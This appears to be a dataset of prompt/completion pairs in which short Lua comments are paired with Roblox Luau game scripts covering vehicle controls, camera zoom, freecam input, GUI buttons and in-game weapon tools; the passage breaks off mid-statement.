prompt
stringlengths
2
14.7k
completion
stringlengths
1
99.7k
--[[ Remove elements from a dictionary ]]
function Immutable.RemoveFromDictionary(dictionary, ...) local result = {} for key, value in pairs(dictionary) do local found = false for listKey = 1, select("#", ...) do if key == select(listKey, ...) then found = true break end end if not found then result[key] = value end end return result end
--Services
local ServerStorage = game:GetService("ServerStorage") local ReplicatedStorage = game:GetService("ReplicatedStorage")
-- For effects and stuff
local function Engine(on) local prop = plane.Propeller if on then prop.Hinge.DesiredAngle = 1e100 -- Super huge number so the propeller doesn't stop spinning :D else local angle = math.random(0, 10) prop.Hinge.DesiredAngle = angle prop.Hinge.CurrentAngle = angle end end seat.Changed:connect(function(p) if p == "Occupant" then local occupant = seat.Occupant if occupant then Engine(true) local player = game.Players:GetPlayerFromCharacter(occupant.Parent) if player then plane.Body:SetNetworkOwner(player) local localPlaneScript = script.LocalPlaneScript:Clone() localPlaneScript.Parent = player.PlayerGui localPlaneScript.Plane.Value = plane localPlaneScript.Disabled = false else shooting = false end else Engine(false) end end end) while true do if seat.Occupant and shooting then for _, gun in pairs(plane.Guns:GetChildren()) do if gun:FindFirstChild("Muzzle") then local bullet = Instance.new("Part") bullet.Parent = gun bullet.Anchored = false bullet.CanCollide = false bullet.FormFactor = Enum.FormFactor.Custom bullet.Size = Vector3.new(0.4, 10, 0.4) bullet.BrickColor = BrickColor.new("Bright yellow") bullet.Material = Enum.Material.Neon Instance.new("CylinderMesh", bullet) Instance.new("BodyForce", bullet).Force = Vector3.new(0, bullet:GetMass() * 196.2, 0) bullet.CFrame = gun.Muzzle.CFrame bullet.Velocity = bullet.CFrame:vectorToWorldSpace(Vector3.new(0, 1, 0)) * 2000 bullet:SetNetworkOwner(game.Players:GetPlayerFromCharacter(seat.Occupant.Parent)) bullet.Touched:connect(function(hit) if not hit:IsDescendantOf(plane) and not hit:IsDescendantOf(seat.Occupant.Parent) then local explosion = Instance.new("Explosion", game.Workspace) explosion.Position = bullet.Position explosion.BlastRadius = 4 explosion.DestroyJointRadiusPercent = 0 bullet:Destroy() end end) game.Debris:AddItem(bullet, 1) end end end wait(0.1) end
--returns the wielding player of this tool
function getPlayer() local char = Tool.Parent return game:GetService("Players"):GetPlayerFromCharacter(Character) end function Toss(direction) local handlePos = Vector3.new(Tool.Handle.Position.X, 0, Tool.Handle.Position.Z) local spawnPos = Character.Head.Position spawnPos = spawnPos + (direction * 5) local Object = Tool.Handle:Clone() Object.Burn.Attachment.Debris.Enabled = true Object.ThinkFast:Destroy() Object.Parent = workspace Object.Swing.Pitch = Random.new():NextInteger(90, 110)/100 Object.Swing:Play() Object.CanCollide = true Object.CFrame = Tool.Handle.CFrame Object.Velocity = (direction*AttackVelocity) + Vector3.new(0,AttackVelocity/7.5,0) Object.Trail.Enabled = true local rand = 11.25 Object.RotVelocity = Vector3.new(Random.new():NextNumber(-rand,rand),Random.new():NextNumber(-rand,rand),Random.new():NextNumber(-rand,rand)) Object:SetNetworkOwner(getPlayer()) local ScriptClone = DamageScript:Clone() ScriptClone.Parent = Object ScriptClone.Disabled = false local tag = Instance.new("ObjectValue") tag.Value = getPlayer() tag.Name = "creator" tag.Parent = Object end PowerRemote.OnServerEvent:Connect(function(player, Power) local holder = getPlayer() if holder ~= player then return end AttackVelocity = Power end) TossRemote.OnServerEvent:Connect(function(player, mousePosition) local holder = getPlayer() if holder ~= player then return end if Cooldown.Value == true then return end Cooldown.Value = true if Humanoid and Humanoid.RigType == Enum.HumanoidRigType.R15 then TossRemote:FireClient(getPlayer(), "PlayAnimation", "Animation") end local targetPos = mousePosition.p local lookAt = (targetPos - Character.Head.Position).unit local SecretRNG = Random.new():NextInteger(1,10) --Change RNG value here if SecretRNG == 1 then local ChucklenutsSound = Tool.Handle.ThinkFast:Play() end Toss(lookAt) task.wait(CooldownTime) Cooldown.Value = false end) Tool.Equipped:Connect(function() Character = Tool.Parent Humanoid = Character:FindFirstChildOfClass("Humanoid") end) Tool.Unequipped:Connect(function() Character = nil Humanoid = nil end)
-------------------Start_and_Stop-------------------
if (key==keys.stop.code) and planedebounce == false and (on == true) then--if Shutting down local PS = script.Parent.Parent.Parent.PlayerGui:findFirstChild("PlaneStats").Frame PS.EngineOff.Label.Text = "ENGINE OFF" plane.Engine.Spin:Stop() local spd = plane.Engine:findFirstChild("Speed") if (spd ~= nil) then spd.Value = 0 end local spd = plane.Engine:findFirstChild("VerticalSpeed") if (spd ~= nil) then spd.Value = 0 end plane.Stand.CanCollide = true plane.Engine.BodyVelocity.maxForce = Vector3.new(0,0,0) local mod = plane:findFirstChild("Rotors") for i,v in pairs(mod:GetChildren()) do if(v.Name == "RotorOff") then v.Transparency = 0 v.CanCollide = true elseif(v.Name == "RotorOn") then v.Spin.inc.Value = 0 v.Spin.inc.Value = 0 end end on = false Mousefollow=false end if (key==keys.start.code) and (on == false) and startLock then local PS = script.Parent.Parent.Parent.PlayerGui:findFirstChild("PlaneStats").Frame plane.Engine.StartUp:Play() PS.EngineOff.Label.Text = "Starting Up" local s = Instance.new("Smoke") s.Color = Color3.new(128,128,128) s.Size = .1 s.RiseVelocity = 9 s.Opacity = .3 s.Parent = plane.SmokeA s.Enabled = true wait(10) plane.Engine.StartUp:Stop() if (plane.Engine:findFirstChild("Speed") == nil) then local speed = script.Parent.Speed:clone() speed.Parent = plane.Engine end plane.Stand.CanCollide = false game.Debris:AddItem(s,2) local mod = plane:findFirstChild("Rotors") plane.Engine.Spin:Play() for i,v in pairs(mod:GetChildren()) do if(v.Name == "RotorOff") then v.Transparency = 1 v.CanCollide = false elseif(v.Name == "RotorOn") then local spininc = 0 for i = 0, 40, .5 do wait() v.Spin.inc.Value = i v.Spin.inc.Value = i end end end plane.Engine.BodyVelocity.maxForce = Vector3.new(1e+012,1e+012,1e+012) on = true end if(key == "q") then startLock = true end
-- Zoom -- Controls the distance between the focus and the camera.
local ZOOM_STIFFNESS = 4.5 local ZOOM_DEFAULT = 12.5 local ZOOM_ACCELERATION = 0.0375 local MIN_FOCUS_DIST = 0.5 local DIST_OPAQUE = 1 local Popper = require(script:WaitForChild("Popper")) local clamp = math.clamp local exp = math.exp local min = math.min local max = math.max local pi = math.pi local cameraMinZoomDistance, cameraMaxZoomDistance do local Player = game:GetService("Players").LocalPlayer assert(Player) local function updateBounds() cameraMinZoomDistance = Player.CameraMinZoomDistance cameraMaxZoomDistance = Player.CameraMaxZoomDistance end updateBounds() Player:GetPropertyChangedSignal("CameraMinZoomDistance"):Connect(updateBounds) Player:GetPropertyChangedSignal("CameraMaxZoomDistance"):Connect(updateBounds) end local ConstrainedSpring = {} do ConstrainedSpring.__index = ConstrainedSpring function ConstrainedSpring.new(freq: number, x: number, minValue: number, maxValue: number) x = clamp(x, minValue, maxValue) return setmetatable({ freq = freq, -- Undamped frequency (Hz) x = x, -- Current position v = 0, -- Current velocity minValue = minValue, -- Minimum bound maxValue = maxValue, -- Maximum bound goal = x, -- Goal position }, ConstrainedSpring) end function ConstrainedSpring:Step(dt: number) local freq = self.freq :: number * 2 * pi -- Convert from Hz to rad/s local x: number = self.x local v: number = self.v local minValue: number = self.minValue local maxValue: number = self.maxValue local goal: number = self.goal -- Solve the spring ODE for position and velocity after time t, assuming critical damping: -- 2*f*x'[t] + x''[t] = f^2*(g - x[t]) -- Knowns are x[0] and x'[0]. -- Solve for x[t] and x'[t]. local offset = goal - x local step = freq*dt local decay = exp(-step) local x1 = goal + (v*dt - offset*(step + 1))*decay local v1 = ((offset*freq - v)*step + v)*decay -- Constrain if x1 < minValue then x1 = minValue v1 = 0 elseif x1 > maxValue then x1 = maxValue v1 = 0 end self.x = x1 self.v = v1 return x1 end end local zoomSpring = ConstrainedSpring.new(ZOOM_STIFFNESS, ZOOM_DEFAULT, MIN_FOCUS_DIST, cameraMaxZoomDistance) local function stepTargetZoom(z: number, dz: number, zoomMin: number, zoomMax: number) z = clamp(z + dz*(1 + z*ZOOM_ACCELERATION), zoomMin, zoomMax) if z < DIST_OPAQUE then z = dz <= 0 and zoomMin or DIST_OPAQUE end return z end local zoomDelta = 0 local Zoom = {} do function Zoom.Update(renderDt: number, focus: CFrame, extrapolation) local poppedZoom = math.huge if zoomSpring.goal > DIST_OPAQUE then -- Make a pessimistic estimate of zoom distance for this step without accounting for poppercam local maxPossibleZoom = max( zoomSpring.x, stepTargetZoom(zoomSpring.goal, zoomDelta, cameraMinZoomDistance, cameraMaxZoomDistance) ) -- Run the Popper algorithm on the feasible zoom range, [MIN_FOCUS_DIST, maxPossibleZoom] poppedZoom = Popper( focus*CFrame.new(0, 0, MIN_FOCUS_DIST), maxPossibleZoom - MIN_FOCUS_DIST, extrapolation ) + MIN_FOCUS_DIST end zoomSpring.minValue = MIN_FOCUS_DIST zoomSpring.maxValue = min(cameraMaxZoomDistance, poppedZoom) return zoomSpring:Step(renderDt) end function Zoom.GetZoomRadius() return zoomSpring.x end function Zoom.SetZoomParameters(targetZoom, newZoomDelta) zoomSpring.goal = targetZoom zoomDelta = newZoomDelta end function Zoom.ReleaseSpring() zoomSpring.x = zoomSpring.goal zoomSpring.v = 0 end end return Zoom
-- Set up the event handlers for the Close TextButtons in the windows
for _, window in ipairs(gui:GetChildren()) do if window:IsA("Frame") then local closeButton = window:FindFirstChild("Close") if closeButton and closeButton:IsA("TextButton") then closeButton.MouseButton1Click:Connect(function() openGui.Visible = true window:TweenSizeAndPosition( UDim2.new(1, 0, 0.022, 0), UDim2.new(0.0, 0, 0.978, 0), 'Out', 'Quad', 0.2, false, function() window.Visible = false end ) end) end end end
-- Core events
ToolChanged = Signal.new() function EquipTool(Tool) -- Equips and switches to the given tool -- Unequip current tool if CurrentTool and CurrentTool.Equipped then CurrentTool:Unequip(); CurrentTool.Equipped = false; end; -- Set `Tool` as current CurrentTool = Tool; CurrentTool.Equipped = true; -- Fire relevant events ToolChanged:Fire(Tool); -- Equip the tool Tool:Equip(); end; function RecolorHandle(Color) SyncAPI:Invoke('RecolorHandle', Color); end;
--[[Controls]]
local _CTRL = _Tune.Controls local Controls = Instance.new("Folder",script.Parent) Controls.Name = "Controls" for i,v in pairs(_CTRL) do local a=Instance.new("StringValue",Controls) a.Name=i a.Value=v.Name a.Changed:connect(function() if i=="MouseThrottle" or i=="MouseBrake" then if a.Value == "MouseButton1" or a.Value == "MouseButton2" then _CTRL[i]=Enum.UserInputType[a.Value] else _CTRL[i]=Enum.KeyCode[a.Value] end else _CTRL[i]=Enum.KeyCode[a.Value] end end) end --Deadzone Adjust local _PPH = _Tune.Peripherals for i,v in pairs(_PPH) do local a = Instance.new("IntValue",Controls) a.Name = i a.Value = v a.Changed:connect(function() a.Value=math.min(100,math.max(0,a.Value)) _PPH[i] = a.Value end) end --Input Handler function DealWithInput(input,IsRobloxFunction) if (UserInputService:GetFocusedTextBox()==nil) and not _InControls then --Ignore when UI Focus --Shift Down [Manual Transmission] if (input.KeyCode ==_CTRL["ContlrShiftDown"] or (_MSteer and input.KeyCode==_CTRL["MouseShiftDown"]) or ((not _MSteer) and input.KeyCode==_CTRL["ShiftDown"])) and ((_IsOn and ((_TMode=="Auto" and _CGear<=1) and _Tune.AutoShiftVers == "New") or _TMode=="DCT") or _TMode=="Manual") and input.UserInputState == Enum.UserInputState.Begin then if not _ShiftDn then _ShiftDn = true end --Shift Up [Manual Transmission] elseif (input.KeyCode ==_CTRL["ContlrShiftUp"] or (_MSteer and input.KeyCode==_CTRL["MouseShiftUp"]) or ((not _MSteer) and input.KeyCode==_CTRL["ShiftUp"])) and ((_IsOn and ((_TMode=="Auto" and _CGear<1) and _Tune.AutoShiftVers == "New") or _TMode=="DCT") or _TMode=="Manual") and input.UserInputState == Enum.UserInputState.Begin then if not _ShiftUp then _ShiftUp = true end --Toggle Clutch elseif (input.KeyCode ==_CTRL["ContlrClutch"] or (_MSteer and input.KeyCode==_CTRL["MouseClutch"]) or ((not _MSteer) and input.KeyCode==_CTRL["Clutch"])) and _TMode=="Manual" then if input.UserInputState == Enum.UserInputState.Begin then _ClPressing = true elseif input.UserInputState == Enum.UserInputState.End then _ClPressing = false end --Toggle PBrake elseif input.KeyCode ==_CTRL["ContlrPBrake"] or (_MSteer and input.KeyCode==_CTRL["MousePBrake"]) or ((not _MSteer) and input.KeyCode==_CTRL["PBrake"]) then if input.UserInputState == Enum.UserInputState.Begin then _PBrake = not _PBrake elseif input.UserInputState == Enum.UserInputState.End then if bike.DriveSeat.Velocity.Magnitude>5 then _PBrake = false end end --Toggle Transmission elseif (input.KeyCode == _CTRL["ContlrToggleTMode"] or input.KeyCode==_CTRL["ToggleTransMode"]) and input.UserInputState == Enum.UserInputState.Begin then local n=1 for i,v in pairs(_Tune.TransModes) do if v==_TMode then n=i break end end n=n+1 if n>#_Tune.TransModes then n=1 end _TMode = _Tune.TransModes[n] --Throttle elseif ((not _MSteer) and (input.KeyCode==_CTRL["Throttle"] or input.KeyCode == _CTRL["Throttle2"])) or ((((_CTRL["MouseThrottle"]==Enum.UserInputType.MouseButton1 or _CTRL["MouseThrottle"]==Enum.UserInputType.MouseButton2) and input.UserInputType == _CTRL["MouseThrottle"]) or input.KeyCode == _CTRL["MouseThrottle"])and _MSteer) then if input.UserInputState == Enum.UserInputState.Begin and _IsOn then _InThrot = 1 _TTick = tick() else _InThrot = _Tune.IdleThrottle/100 _BTick = tick() end --Brake elseif ((not _MSteer) and (input.KeyCode==_CTRL["Brake"] or input.KeyCode == _CTRL["Brake2"])) or ((((_CTRL["MouseBrake"]==Enum.UserInputType.MouseButton1 or _CTRL["MouseBrake"]==Enum.UserInputType.MouseButton2) and input.UserInputType == _CTRL["MouseBrake"]) or input.KeyCode == _CTRL["MouseBrake"])and _MSteer) then if input.UserInputState == Enum.UserInputState.Begin then _InBrake = 1 else _InBrake = 0 end --Steer Left elseif (not _MSteer) and (input.KeyCode==_CTRL["SteerLeft"] or input.KeyCode == _CTRL["SteerLeft2"]) then if input.UserInputState == Enum.UserInputState.Begin then _GSteerT = -1 _SteerL = true else if _SteerR then _GSteerT = 1 else _GSteerT = 0 end _SteerL = false end --Steer Right elseif (not _MSteer) and (input.KeyCode==_CTRL["SteerRight"] or input.KeyCode == _CTRL["SteerRight2"]) then if input.UserInputState == Enum.UserInputState.Begin then _GSteerT = 1 _SteerR = true else if _SteerL then _GSteerT = -1 else _GSteerT = 0 end _SteerR = false end --Toggle Mouse Controls elseif input.KeyCode ==_CTRL["ToggleMouseDrive"] then if input.UserInputState == Enum.UserInputState.End then _MSteer = not _MSteer _InThrot = _Tune.IdleThrottle/100 _TTick = tick() _InBrake = 0 _GSteerT = 0 end --Toggle TCS elseif _Tune.TCS and _IsOn and input.KeyCode == _CTRL["ToggleTCS"] or input.KeyCode == _CTRL["ContlrToggleTCS"] then if input.UserInputState == Enum.UserInputState.End then _TCS = not _TCS end --Toggle ABS elseif _Tune.ABS and _IsOn and input.KeyCode == _CTRL["ToggleABS"] or input.KeyCode == _CTRL["ContlrToggleABS"] then if input.UserInputState == Enum.UserInputState.End then _ABS = not _ABS end end --Variable Controls if input.UserInputType.Name:find("Gamepad") then --Gamepad Steering if input.KeyCode == _CTRL["ContlrSteer"] then if input.Position.X>= 0 then local cDZone = math.min(.99,_Tune.Peripherals.ControlRDZone/100) if math.abs(input.Position.X)>cDZone then _GSteerT = (input.Position.X-cDZone)/(1-cDZone) else _GSteerT = 0 end else local cDZone = math.min(.99,_Tune.Peripherals.ControlLDZone/100) if math.abs(input.Position.X)>cDZone then _GSteerT = (input.Position.X+cDZone)/(1-cDZone) else _GSteerT = 0 end end --Gamepad Throttle elseif input.KeyCode == _CTRL["ContlrThrottle"] then if _IsOn then _InThrot = math.max(_Tune.IdleThrottle/100,input.Position.Z) if _InThrot > _Tune.IdleThrottle/100 then _TTick = tick() else _BTick = tick() end else _InThrot = _Tune.IdleThrottle/100 _BTick = tick() end --Gamepad Brake elseif input.KeyCode == _CTRL["ContlrBrake"] then _InBrake = input.Position.Z end end else _InThrot = _Tune.IdleThrottle/100 _GSteerT = 0 _InBrake = 0 end end UserInputService.InputBegan:connect(DealWithInput) UserInputService.InputChanged:connect(DealWithInput) UserInputService.InputEnded:connect(DealWithInput)
------------------------------------------------------------------------
local Input = {} do local thumbstickCurve do local K_CURVATURE = 2.0 local K_DEADZONE = 0.15 local function fCurve(x) return (exp(K_CURVATURE*x) - 1)/(exp(K_CURVATURE) - 1) end local function fDeadzone(x) return fCurve((x - K_DEADZONE)/(1 - K_DEADZONE)) end function thumbstickCurve(x) return sign(x)*clamp(fDeadzone(abs(x)), 0, 1) end end local gamepad = { ButtonX = 0, ButtonY = 0, DPadDown = 0, DPadUp = 0, ButtonL2 = 0, ButtonR2 = 0, Thumbstick1 = Vector2.new(), Thumbstick2 = Vector2.new(), } local keyboard = { W = 0, A = 0, S = 0, D = 0, E = 0, Q = 0, U = 0, H = 0, J = 0, K = 0, I = 0, Y = 0, Up = 0, Down = 0, LeftShift = 0, RightShift = 0, } local mouse = { Delta = Vector2.new(), MouseWheel = 0, } local NAV_GAMEPAD_SPEED = Vector3.new(1, 1, 1) local NAV_KEYBOARD_SPEED = Vector3.new(1, 1, 1) local PAN_MOUSE_SPEED = Vector2.new(1, 1)*(pi/64) local PAN_GAMEPAD_SPEED = Vector2.new(1, 1)*(pi/8) local FOV_WHEEL_SPEED = 1.0 local FOV_GAMEPAD_SPEED = 0.25 local NAV_ADJ_SPEED = 0.75 local NAV_SHIFT_MUL = 0.25 local navSpeed = 1 function Input.Vel(dt) navSpeed = clamp(navSpeed + dt*(keyboard.Up - keyboard.Down)*NAV_ADJ_SPEED, 0.01, 4) local kGamepad = Vector3.new( thumbstickCurve(gamepad.Thumbstick1.x), thumbstickCurve(gamepad.ButtonR2) - thumbstickCurve(gamepad.ButtonL2), thumbstickCurve(-gamepad.Thumbstick1.y) )*NAV_GAMEPAD_SPEED local kKeyboard = Vector3.new( keyboard.D - keyboard.A + keyboard.K - keyboard.H, keyboard.E - keyboard.Q + keyboard.I - keyboard.Y, keyboard.S - keyboard.W + keyboard.J - keyboard.U )*NAV_KEYBOARD_SPEED local shift = UserInputService:IsKeyDown(Enum.KeyCode.LeftShift) or UserInputService:IsKeyDown(Enum.KeyCode.RightShift) return (kGamepad + kKeyboard)*(navSpeed*(shift and NAV_SHIFT_MUL or 1)) end function Input.Pan(dt) local kGamepad = Vector2.new( thumbstickCurve(gamepad.Thumbstick2.y), thumbstickCurve(-gamepad.Thumbstick2.x) )*PAN_GAMEPAD_SPEED local kMouse = mouse.Delta*PAN_MOUSE_SPEED mouse.Delta = Vector2.new() return kGamepad + kMouse end function Input.Fov(dt) local kGamepad = (gamepad.ButtonX - gamepad.ButtonY)*FOV_GAMEPAD_SPEED local kMouse = mouse.MouseWheel*FOV_WHEEL_SPEED mouse.MouseWheel = 0 return kGamepad + kMouse end do local function Keypress(action, state, input) keyboard[input.KeyCode.Name] = state == Enum.UserInputState.Begin and 1 or 0 return Enum.ContextActionResult.Sink end local function GpButton(action, state, input) gamepad[input.KeyCode.Name] = state == Enum.UserInputState.Begin and 1 or 0 return Enum.ContextActionResult.Sink end local function MousePan(action, state, input) local delta = input.Delta mouse.Delta = Vector2.new(-delta.y, -delta.x) return Enum.ContextActionResult.Sink end local function Thumb(action, state, input) gamepad[input.KeyCode.Name] = input.Position return Enum.ContextActionResult.Sink end local function Trigger(action, state, input) gamepad[input.KeyCode.Name] = input.Position.z return Enum.ContextActionResult.Sink end local function MouseWheel(action, state, input) mouse[input.UserInputType.Name] = -input.Position.z return Enum.ContextActionResult.Sink end local function Zero(t) for k, v in pairs(t) do t[k] = v*0 end end function Input.StartCapture() ContextActionService:BindActionAtPriority("FreecamKeyboard2", Keypress, false, INPUT_PRIORITY, Enum.KeyCode.W, Enum.KeyCode.U, Enum.KeyCode.A, Enum.KeyCode.H, Enum.KeyCode.S, Enum.KeyCode.J, Enum.KeyCode.D, Enum.KeyCode.K, Enum.KeyCode.E, Enum.KeyCode.I, Enum.KeyCode.Q, Enum.KeyCode.Y, Enum.KeyCode.Up, Enum.KeyCode.Down ) ContextActionService:BindActionAtPriority("FreecamMousePan2", MousePan, false, INPUT_PRIORITY, Enum.UserInputType.MouseMovement) ContextActionService:BindActionAtPriority("FreecamMouseWheel2", MouseWheel, false, INPUT_PRIORITY, Enum.UserInputType.MouseWheel) ContextActionService:BindActionAtPriority("FreecamGamepadButton2", GpButton, false, INPUT_PRIORITY, Enum.KeyCode.ButtonX, Enum.KeyCode.ButtonY) ContextActionService:BindActionAtPriority("FreecamGamepadTrigger2", Trigger, false, INPUT_PRIORITY, Enum.KeyCode.ButtonR2, Enum.KeyCode.ButtonL2) ContextActionService:BindActionAtPriority("FreecamGamepadThumbstick2", Thumb, false, INPUT_PRIORITY, Enum.KeyCode.Thumbstick1, Enum.KeyCode.Thumbstick2) end function Input.StopCapture() navSpeed = 1 Zero(gamepad) Zero(keyboard) Zero(mouse) ContextActionService:UnbindAction("FreecamKeyboard2") ContextActionService:UnbindAction("FreecamMousePan2") ContextActionService:UnbindAction("FreecamMouseWheel2") ContextActionService:UnbindAction("FreecamGamepadButton2") ContextActionService:UnbindAction("FreecamGamepadTrigger2") ContextActionService:UnbindAction("FreecamGamepadThumbstick2") end end end local function GetFocusDistance(cameraFrame) local znear = 0.1 local viewport = Camera.ViewportSize local projy = 2*tan(cameraFov/2) local projx = viewport.x/viewport.y*projy local fx = cameraFrame.rightVector local fy = cameraFrame.upVector local fz = cameraFrame.lookVector local minVect = Vector3.new() local minDist = 512 for x = 0, 1, 0.5 do for y = 0, 1, 0.5 do local cx = (x - 0.5)*projx local cy = (y - 0.5)*projy local offset = fx*cx - fy*cy + fz local origin = cameraFrame.p + offset*znear local _, hit = Workspace:FindPartOnRay(Ray.new(origin, offset.unit*minDist)) local dist = (hit - origin).magnitude if minDist > dist then minDist = dist minVect = offset.unit end end end return fz:Dot(minVect)*minDist end
--Leave this
Heat = 0 if GUI then script.Parent.Visible = true else script.Parent.Visible = false end
--Rescripted by Luckymaxer
Tool = script.Parent Handle = Tool:WaitForChild("Handle") Players = game:GetService("Players") Debris = game:GetService("Debris") BulletSpeed = Handle.BulletSpeed.Value DisappearTime = Handle.BulletDisappearTime.Value ReloadTime = Handle.ReloadTime.Value BulletColor = Handle.BulletColor.Value NozzleOffset = Vector3.new(0, 0.4, -1.1) Sounds = { Fire = Handle:WaitForChild("Fire"), Reload = Handle:WaitForChild("Reload"), HitFade = Handle:WaitForChild("HitFade") } PointLight = Handle:WaitForChild("PointLight") ServerControl = (Tool:FindFirstChild("ServerControl") or Instance.new("RemoteFunction")) ServerControl.Name = "ServerControl" ServerControl.Parent = Tool ClientControl = (Tool:FindFirstChild("ClientControl") or Instance.new("RemoteFunction")) ClientControl.Name = "ClientControl" ClientControl.Parent = Tool ServerControl.OnServerInvoke = (function(player, Mode, Value, arg) if player ~= Player or Humanoid.Health == 0 or not Tool.Enabled then return end if Mode == "Click" and Value then Activated(arg) end end) function InvokeClient(Mode, Value) pcall(function() ClientControl:InvokeClient(Player, Mode, Value) end) end function TagHumanoid(humanoid, player) local Creator_Tag = Instance.new("ObjectValue") Creator_Tag.Name = "creator" Creator_Tag.Value = player Debris:AddItem(Creator_Tag, 2) Creator_Tag.Parent = humanoid end function UntagHumanoid(humanoid) for i, v in pairs(humanoid:GetChildren()) do if v:IsA("ObjectValue") and v.Name == "creator" then v:Destroy() end end end function FindCharacterAncestor(Parent) if Parent and Parent ~= game:GetService("Workspace") then local humanoid = Parent:FindFirstChild("Humanoid") if humanoid then return Parent, humanoid else return FindCharacterAncestor(Parent.Parent) end end return nil end function GetTransparentsRecursive(Parent, PartsTable) local PartsTable = (PartsTable or {}) for i, v in pairs(Parent:GetChildren()) do local TransparencyExists = false pcall(function() local Transparency = v["Transparency"] if Transparency then TransparencyExists = true end end) if TransparencyExists then table.insert(PartsTable, v) end GetTransparentsRecursive(v, PartsTable) end return PartsTable end function SelectionBoxify(Object) local SelectionBox = Instance.new("SelectionBox") SelectionBox.Adornee = Object SelectionBox.Color3 = BulletColor SelectionBox.Parent = Object return SelectionBox end local function Light(Object) local Light = PointLight:Clone() Light.Range = (Light.Range + 2) Light.Parent = Object end function FadeOutObjects(Objects, FadeIncrement) repeat local LastObject = nil for i, v in pairs(Objects) do v.Transparency = (v.Transparency + FadeIncrement) LastObject = v end wait() until LastObject.Transparency >= 1 or not LastObject end function Touched(Projectile, Hit) if not Hit or not Hit.Parent then return end local character, humanoid = FindCharacterAncestor(Hit) if character and humanoid and character ~= Character then local ForceFieldExists = false for i, v in pairs(character:GetChildren()) do if v:IsA("ForceField") then ForceFieldExists = true end end if not ForceFieldExists then if Projectile then local HitFadeSound = Projectile:FindFirstChild(Sounds.HitFade.Name) local torso = humanoid.Torso if HitFadeSound and torso then HitFadeSound.Parent = torso HitFadeSound:Play() end end local hum = humanoid.Parent:GetChildren() for i, v in pairs(hum) do if v.ClassName == "Part" then local script = script.Parent.Handle.GlassScript local clone = script:Clone() clone.Parent = v clone.Enabled = true clone.GlassBreak.Parent = v v.Anchored = true v.BrickColor = BrickColor.new("Pearl") v.Material = Enum.Material.Glass v.Transparency = 0.6 end end humanoid.WalkSpeed = 0 humanoid.Parent.AI:Destroy() end if Projectile and Projectile.Parent then Projectile:Destroy() end end end function Equipped() Character = Tool.Parent Player = Players:GetPlayerFromCharacter(Character) Humanoid = Character:FindFirstChild("Humanoid") if not Player or not Humanoid or Humanoid.Health == 0 then return end end function Activated(target) if Tool.Enabled and Humanoid.Health > 0 then Tool.Enabled = false InvokeClient("PlaySound", Sounds.Fire) local HandleCFrame = Handle.CFrame local FiringPoint = HandleCFrame.p + HandleCFrame:vectorToWorldSpace(NozzleOffset) local ShotCFrame = CFrame.new(FiringPoint, target) local LaserShotClone = BaseShot:Clone() LaserShotClone.CFrame = ShotCFrame + (ShotCFrame.lookVector * (BaseShot.Size.Z / 2)) local BodyVelocity = Instance.new("BodyVelocity") BodyVelocity.velocity = ShotCFrame.lookVector * BulletSpeed BodyVelocity.Parent = LaserShotClone LaserShotClone.Touched:connect(function(Hit) if not Hit or not Hit.Parent then return end Touched(LaserShotClone, Hit) end) Debris:AddItem(LaserShotClone, DisappearTime) LaserShotClone.Parent = game:GetService("Workspace") wait(0.6) -- FireSound length InvokeClient("PlaySound", Sounds.Reload) wait(ReloadTime) -- ReloadSound length Tool.Enabled = true end end function Unequipped() end BaseShot = Instance.new("Part") BaseShot.Name = "Effect" BaseShot.Color = BulletColor BaseShot.Material = Enum.Material.Plastic BaseShot.Shape = Enum.PartType.Block BaseShot.TopSurface = Enum.SurfaceType.Smooth BaseShot.BottomSurface = Enum.SurfaceType.Smooth BaseShot.FormFactor = Enum.FormFactor.Custom BaseShot.Size = Vector3.new(0.2, 0.2, 3) BaseShot.CanCollide = false BaseShot.Locked = true SelectionBoxify(BaseShot) Light(BaseShot) BaseShotSound = Sounds.HitFade:Clone() BaseShotSound.Parent = BaseShot Tool.Equipped:connect(Equipped) Tool.Unequipped:connect(Unequipped)
---------------------------------- ------------VARIABLES------------- ----------------------------------
User = nil Connector = game.Workspace:FindFirstChild("GlobalPianoConnector") if not Connector or not Connector:IsA("RemoteEvent") then error("The piano requires a RemoteEvent named GlobalPianoConnector to be in Workspace.") end
--[[ Please do not delete this module Novena Constraint Type: Motorcycle The Bike Chassis, Beta Build: 1 Avxnturador | Novena RikOne2 | Enjin :: Note If you have this chassis, I assume that you understand this will be updated frequently. 𝚃𝚑𝚒𝚜 𝚒𝚜 𝚊 𝚍𝚎𝚟𝚎𝚕𝚘𝚙𝚖𝚎𝚗𝚝 𝚌𝚑𝚊𝚜𝚜𝚒𝚜. Updates pertaining to any build and version will be detailed here. Final updates will be published to the main NCT: M model. A few plugins have been brought to NCT: M. Most of these plugins are thanks to RikOne2, some thanks to Avxnturador. Thanks for beta testing NCT: M! :: How to install Everything regarding Body, Misc and DriveSeat is the same as other chassis' For FrontSection and RearSection, the Wheel part is where you will put your wheel and tire. Resize the cylinder to match your wheel's size in all axes. Move the hinges to the top of their respective items, and don't group it with anything else. TripleTreeHinge goes on the top of the handlebars in the center. RearSwingArmHinge goes in the center of the suspension hinge. Tune the bike using the Tuner. :: Changelog || NCT: M | Beta Version 1 | Released on: 08/25/2019 :: The First Public Beta Release :: Pertaining to build: [1] :: Pertaining to version: [1] [Notes] This is the first release of the bike chassis. There are countless new features, and different structures to the chassis. You are advised to completely go through the Tuner, along with the plugins. Please send any bugs or suggestion to Avxnturador, or to the Novena server. There are no update instructions. || --]]
return "BETA"
--For R15 avatars
local Animations = { R15Slash = 522635514, R15Lunge = 522638767 } local Damage = DamageValues.BaseDamage local Grips = { Up = CFrame.new(0, 0, -1.70000005, 0, 0, 1, 1, 0, 0, 0, 1, 0), Out = CFrame.new(0, 0, -1.70000005, 0, 1, 0, 1, -0, 0, 0, 0, -1) } local Sounds = { Slash = Handle:WaitForChild("SwordSlash"), Lunge = Handle:WaitForChild("SwordLunge"), Unsheath = Handle:WaitForChild("Unsheath") } local ToolEquipped = false Tool.Grip = Grips.Up Tool.Enabled = true function IsTeamMate(Player1, Player2) return (Player1 and Player2 and not Player1.Neutral and not Player2.Neutral and Player1.TeamColor == Player2.TeamColor) end function TagHumanoid(humanoid, player) local Creator_Tag = Instance.new("ObjectValue") Creator_Tag.Name = "creator" Creator_Tag.Value = player Debris:AddItem(Creator_Tag, 2) Creator_Tag.Parent = humanoid end function UntagHumanoid(humanoid) for i, v in pairs(humanoid:GetChildren()) do if v:IsA("ObjectValue") and v.Name == "creator" then v:Destroy() end end end repeat wait(0.5) until Tool.Parent:FindFirstChildWhichIsA("Humanoid") local params = RaycastParams.new() params.FilterDescendantsInstances = workspace.characters:GetChildren() params.FilterType = 